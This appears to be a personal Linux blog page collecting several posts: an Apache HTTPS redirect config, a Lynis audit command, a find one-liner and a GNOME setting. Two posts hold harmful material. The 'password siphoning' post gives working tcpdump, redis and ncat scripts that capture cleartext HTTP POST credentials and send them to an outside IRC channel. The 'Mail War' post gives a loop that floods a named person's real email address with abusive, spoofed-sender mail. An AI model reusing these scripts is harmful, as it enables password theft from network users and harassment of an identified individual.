Category: Linux

Apache2 redirect http to https virtualhost

Example of redirecting http virtualhost to a https virtualhost

The syntax highlighter puts in =”” after the port number, remove it!



  ServerName www.feeditout.com
  ServerAlias feeditout.com
  DocumentRoot /var/www/html
  LogLevel debug
  CustomLog /var/log/apache/www.feeditout.com-access.log combined
  ErrorLog /var/log/apache/www.feeditout.com-error.log

  RewriteEngine On
  RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [R=301,L]

  
    Options FollowSymLinks Includes ExecCGI
    AllowOverride All
    Require all granted
  






  ServerName www.feeditout.com
  ServerAlias feeditout.com
  DocumentRoot /var/www/html
  LogLevel debug
  CustomLog /var/log/apache/www.feeditout.com-access.log combined
  ErrorLog /var/log/apache/www.feeditout.com-error.log

  SSLEngine on
  SSLCertificateFile /somewhere/feeditout.com.crt
  SSLCertificateKeyFile /somewhere/feeditout.com.key.nopass
  SSLCertificateChainFile /somewhere/ca.crt

  RewriteEngine On

  
    Options +FollowSymLinks +Includes +ExecCGI
    AllowOverride All
    Require all granted
  



Tcpdump password siphoning to IRC with redis

A somewhat controversial topic!
As of late there is greater and greater push for transport later security. rightly so.
Below is an example of using tcpdump and ncat to log insecure http/pop/smtp etc.. traffic at a network boundary and log the results into irc chat.

screenshot_2016-11-14_00-00-51

Required:

apt-get install tcpdump ncat redis

How it works
Create the 2 files below, make sure redis is running, and start them.
It doesn’t mater which one you start first.

IRC bot

#!/bin/bash -ex

REDIS_CLI="redis-cli -h 127.0.0.1"
q1="queue"
q2="processing"
# redis nil reply
nil=$(echo -n -e '\r\n')

consume() {

  USER=BOTUSERNAME #$1
  MYPASSWORD=BOTPASSWORD #$2
  IRC_SERVER=SERVER #$3
  IRC_PORT=6697 #$4
  CHANNEL=#CHANNEL #$5

  (
    sleep 15
    echo NICK $USER
    sleep 1
    echo USER $USER 8 * : $USER
    sleep 5
    echo "PRIVMSG NickServ :IDENTIFY $USER $MYPASSWORD"
    sleep 5
    echo "PRIVMSG ChanServ :INVITE $CHANNEL"
    sleep 5
    echo "JOIN $CHANNEL"
    sleep 2
    
    while true; do
      # move message to processing queue
      MSG=$(echo "RPOPLPUSH $q1 $q2" | $REDIS_CLI)
    
      if [[ -z "$MSG" ]]; then
        echo "PRIVMSG $CHANNEL :zzz...."
        sleep $[ ( $RANDOM % 120 )  + 1 ]s
        continue
      fi

      echo "PRIVMSG $CHANNEL :========="
      echo $MSG | fold -s -w160 | while read -r bline
      do
        echo "PRIVMSG $CHANNEL :"$bline
        sleep 1
      done

      # remove message from processing queue
      echo "LREM $q2 $q1 \"$MSG\"" | $REDIS_CLI >/dev/null
    done

    sleep 2
    echo QUIT
  ) | ncat --ssl $IRC_SERVER $IRC_PORT
}

while true; do
  consume
done

Tcpdump

#!/bin/bash

REDIS_CLI="redis-cli -h 127.0.0.1"
n=1
nmax=1000
q1="queue"
q2="processing"

clean() {
  echo "DEL $q1" | $REDIS_CLI
  echo "DEL $q2" | $REDIS_CLI
}
        
produce() {
  while true; do
    MSG=$(timeout --foreground -s 15 10s tcpdump -v -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | php -R 'echo addslashes(htmlspecialchars($argn));' )
    echo $MSG | while read -r line
    do
      tline=$(echo $line | sed 's/\"//g')
      tline=$(echo $tline | sed '/^$/d')
      if [ "$tline" == "" ]; then 
        continue;
      fi
      echo "LPUSH $q1 \"$tline\"" 
      echo ""
      echo "LPUSH $q1 \"$tline\"" | $REDIS_CLI
    done
  done
}
                                            
clean
produce


Hardening Debian Sid – Lynis Audit tool

I’m just after migrating my server again! Part of the process of migration is hardening the server after install.
Showcasing the use of lynis audit tool. Enjoy.

git clone https://github.com/CISOfy/lynis.git
cd lynis*
./lynis audit system


Linux Bash One Liners

I’m going to keep adding a number of one liners here. Mainly for my own personal usage.

Find duplicate filenames with different extensions

find . -type f -print | rev | cut -f 2- -d '.' | rev | sort | uniq -d

Mail War

Randomly spams someones with number of domains and random user.
This particular guy mark.silberman78@gmail.com thought i needed some extra mail.  I sent some back 😉

export de1=fio.ie
export de2=feeditout.com
export de3=feeditout.com

while true; 
  do export rand=$((1 + RANDOM % 3)); 
  export var=de$rand; 
  echo "fuck off with your spam" | mailx -r `tr -dc A-Za-z0-9 </dev/urandom | head -c 10`@$(eval echo \$$var) -s "fuck you, stop spamming my email address" mark.silberman78@gmail.com; 
  sleep 1; 
done

Fedora 15 Gnome 3 show date

In gnome 3 for some reason they only show the time in the panel

if you want the date also

gsettings set  org.gnome.shell.clock show-date true